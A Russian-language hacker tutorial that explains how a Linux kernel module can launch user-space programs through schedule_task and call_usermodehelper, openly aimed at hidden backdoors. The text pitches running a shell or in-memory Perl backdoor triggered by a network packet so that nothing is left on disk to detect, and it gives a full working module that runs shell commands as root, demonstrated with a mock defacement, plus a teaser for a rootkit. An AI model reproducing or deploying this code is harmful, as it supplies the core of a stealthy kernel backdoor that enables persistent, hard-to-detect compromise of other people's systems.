Hola, amigos!

Запуск обычных user-land программ из ядра.

Зачем это нужно? Для того чтобы, например, запускать shell или любой другой backdoor по получению специального пакета из сети. Из ядра можно запускать любые проги, в том числе
интерпретатор языка Perl для выполнения скриптов. На Perl'е можно полностью написать backdoor и запускать его чисто из kernel'а безо всякого файла со скриптом в файловой системе! В результате обнаружить backdoor, в то время когда хаксор с ним не работает, будет довольно тяжело, так как обнаруживать то и нечего. 😉

Я довольно долго мучался пытаясь научится запускать проги из ядра. Сначала я придумал один способ,
но он работал нормально только 2 раза, а после третьего запуска проги происходил kernel panic и комп падал. 🙁 Это происходило из-за особенностей
управления процессами при запуске проги из interruptment'а (прерывания). Но со временем я разобрался и нашел достаточно простое и красивое решение. Для того, чтобы запустить прогу из ядра надо использовать две специальные функции: schedule_task и call_usermodehelper.
Schedule_task нужна чтобы комп не падал, а call_usermodehelper собственно запускает саму прогу. Функция schedule_task принимает один аргумент - указатель на структуру tq_struct. Эта структура и функция описаны в /usr/src/linux/include/linux/tqueue.h (и копия в /usr/include/linux/tqueue.h). Аргументы функции call_usermodehelper очень похожи
на те, которые принимают user-land функции из семейства execve. Для полной доки смотри kernel-api и исходники.
Kernel-api дока генерится из исходников ядра методом, описанным во 2-й части.

#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/config.h>

#include <linux/tqueue.h>

char shell[] = "/bin/sh";
char *arg[] = { shell, "-c", NULL, NULL };
char *env[] = { "PATH=/sbin:/usr/sbin:/usr/local/sbin:/bin:/usr/bin:/usr/local/bin:", "HOME=/", NULL };

struct tq_struct tq;

void __cmd_exec(void *ptr)
{
arg[2] = ptr;
call_usermodehelper(shell, arg, env);
}

void cmd_exec(void *ptr)
{
tq.sync = 0;
tq.routine = __cmd_exec;
tq.data = ptr;
schedule_task(&tq);
}

int init_module()
{
cmd_exec("echo defaced > /tmp/index.html");
return 0;
}

void cleanup_module()
{
}

Откомпилируй и загрузи модуль, после чего в /tmp появится файл index.html с содержанием defaced. 🙂

Coming soon: networking & rootkit.

Adios.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии